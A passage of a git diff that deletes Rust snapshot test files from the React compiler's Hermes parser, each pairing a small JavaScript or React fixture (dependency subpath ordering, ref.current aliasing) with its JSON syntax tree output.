-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order2.js
----
-Input:
-// Determine that we only need to track p.a here
-// Ordering of access should not matter
-function TestDepsSubpathOrder2(props) {
-  let x = {};
-  x.a = props.a;
-  x.b = props.a.b;
-  x.c = props.a.b.c;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestDepsSubpathOrder2",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          98,
-          119
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            120,
-            125
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    135,
-                    136
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    139,
-                    141
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  135,
-                  141
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              131,
-              142
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    145,
-                    146
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    147,
-                    148
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  145,
-                  148
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    151,
-                    156
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    157,
-                    158
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  151,
-                  158
-                ]
-              },
-              "loc": null,
-              "range": [
-                145,
-                158
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              145,
-              159
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    162,
-                    163
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    164,
-                    165
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  162,
-                  165
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      168,
-                      173
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      174,
-                      175
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    168,
-                    175
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    176,
-                    177
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  168,
-                  177
-                ]
-              },
-              "loc": null,
-              "range": [
-                162,
-                177
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              162,
-              178
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    181,
-                    182
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    183,
-                    184
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  181,
-                  184
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        187,
-                        192
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        193,
-                        194
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      187,
-                      194
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      195,
-                      196
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    187,
-                    196
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    197,
-                    198
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  187,
-                  198
-                ]
-              },
-              "loc": null,
-              "range": [
-                181,
-                198
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              181,
-              199
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                209,
-                210
-              ]
-            },
-            "loc": null,
-            "range": [
-              202,
-              211
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          127,
-          213
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        89,
-        213
-      ],
-      "loc": null,
-      "range": [
-        89,
-        213
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    89,
-    213
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-subpath-order3.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-subpath-order3.js.snap
deleted file mode 100644
index b52d610bce19..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-subpath-order3.js.snap
+++ /dev/null
@@ -1,417 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order3.js
----
-Input:
-// Determine that we only need to track p.a here
-// Ordering of access should not matter
-function TestDepsSubpathOrder3(props) {
-  let x = {};
-  x.c = props.a.b.c;
-  x.a = props.a;
-  x.b = props.a.b;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestDepsSubpathOrder3",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          98,
-          119
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            120,
-            125
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    135,
-                    136
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    139,
-                    141
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  135,
-                  141
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              131,
-              142
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    145,
-                    146
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    147,
-                    148
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  145,
-                  148
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        151,
-                        156
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        157,
-                        158
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      151,
-                      158
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      159,
-                      160
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    151,
-                    160
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    161,
-                    162
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  151,
-                  162
-                ]
-              },
-              "loc": null,
-              "range": [
-                145,
-                162
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              145,
-              163
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    166,
-                    167
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    168,
-                    169
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  166,
-                  169
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    172,
-                    177
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    178,
-                    179
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  172,
-                  179
-                ]
-              },
-              "loc": null,
-              "range": [
-                166,
-                179
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              166,
-              180
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    183,
-                    184
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    185,
-                    186
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  183,
-                  186
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      189,
-                      194
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      195,
-                      196
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    189,
-                    196
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    197,
-                    198
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  189,
-                  198
-                ]
-              },
-              "loc": null,
-              "range": [
-                183,
-                198
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              183,
-              199
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                209,
-                210
-              ]
-            },
-            "loc": null,
-            "range": [
-              202,
-              211
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          127,
-          213
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        89,
-        213
-      ],
-      "loc": null,
-      "range": [
-        89,
-        213
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    89,
-    213
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-aliased-no-added-to-dep.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-aliased-no-added-to-dep.js.snap
deleted file mode 100644
index ea1230607f0f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-aliased-no-added-to-dep.js.snap
+++ /dev/null
@@ -1,360 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ref-current-aliased-no-added-to-dep.js
----
-Input:
-// @validateRefAccessDuringRender false
-function VideoTab() {
-  const ref = useRef();
-  const t = ref.current;
-  let x = () => {
-    console.log(t);
-  };
-
-  return <VideoList videos={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "VideoTab",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          49,
-          57
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    70,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      76,
-                      82
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    76,
-                    84
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  70,
-                  84
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              85
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    94,
-                    95
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "ref",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      98,
-                      101
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "current",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      102,
-                      109
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    98,
-                    109
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  94,
-                  109
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              88,
-              110
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                133,
-                                140
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                141,
-                                144
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              133,
-                              144
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "t",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                145,
-                                146
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            133,
-                            147
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          133,
-                          148
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      127,
-                      152
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    121,
-                    152
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    121,
-                    152
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  117,
-                  152
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              113,
-              153
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "VideoList",
-                  "loc": null,
-                  "range": [
-                    165,
-                    174
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "videos",
-                      "loc": null,
-                      "range": [
-                        175,
-                        181
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          183,
-                          184
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        182,
-                        185
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      175,
-                      185
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  164,
-                  188
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                164,
-                188
-              ]
-            },
-            "loc": null,
-            "range": [
-              157,
-              189
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          60,
-          191
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        40,
-        191
-      ],
-      "loc": null,
-      "range": [
-        40,
-        191
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    191
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-aliased-not-added-to-dep-2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-aliased-not-added-to-dep-2.js.snap
deleted file mode 100644
index 06fa39c698d9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-aliased-not-added-to-dep-2.js.snap
+++ /dev/null
@@ -1,389 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ref-current-aliased-not-added-to-dep-2.js
----
-Input:
-// @validateRefAccessDuringRender false
-function Foo({ a }) {
-  const ref = useRef();
-  const val = ref.current;
-  const x = { a, val };
-
-  return <VideoList videos={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          49,
-          52
-        ]
-      },
-      "params": [
-        {
-          "type": "ObjectPattern",
-          "properties": [
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  55,
-                  56
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  55,
-                  56
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                55,
-                56
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            53,
-            58
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    70,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      76,
-                      82
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    76,
-                    84
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  70,
-                  84
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              85
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "val",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    94,
-                    97
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "ref",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      100,
-                      103
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "current",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      104,
-                      111
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    100,
-                    111
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  94,
-                  111
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              88,
-              112
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    121,
-                    122
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          127,
-                          128
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          127,
-                          128
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        127,
-                        128
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "val",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          130,
-                          133
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "val",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          130,
-                          133
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        130,
-                        133
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    125,
-                    135
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  121,
-                  135
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              115,
-              136
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "VideoList",
-                  "loc": null,
-                  "range": [
-                    148,
-                    157
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "videos",
-                      "loc": null,
-                      "range": [
-                        158,
-                        164
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          166,
-                          167
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        165,
-                        168
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      158,
-                      168
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  147,
-                  171
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                147,
-                171
-              ]
-            },
-            "loc": null,
-            "range": [
-              140,
-              172
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          60,
-          174
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        40,
-        174
-      ],
-      "loc": null,
-      "range": [
-        40,
-        174
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    174
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-field-not-added-to-dep.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-field-not-added-to-dep.js.snap
deleted file mode 100644
index 5c0b16d50eae..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ref-current-field-not-added-to-dep.js.snap
+++ /dev/null
@@ -1,339 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ref-current-field-not-added-to-dep.js
----
-Input:
-// @validateRefAccessDuringRender false
-function VideoTab() {
-  const ref = useRef();
-  let x = () => {
-    console.log(ref.current.x);
-  };
-
-  return <VideoList videos={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "VideoTab",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          49,
-          57
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    70,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      76,
-                      82
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    76,
-                    84
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  70,
-                  84
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              85
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    92,
-                    93
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                108,
-                                115
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                116,
-                                119
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              108,
-                              119
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "ref",
-                                  "typeAnnotation": null,
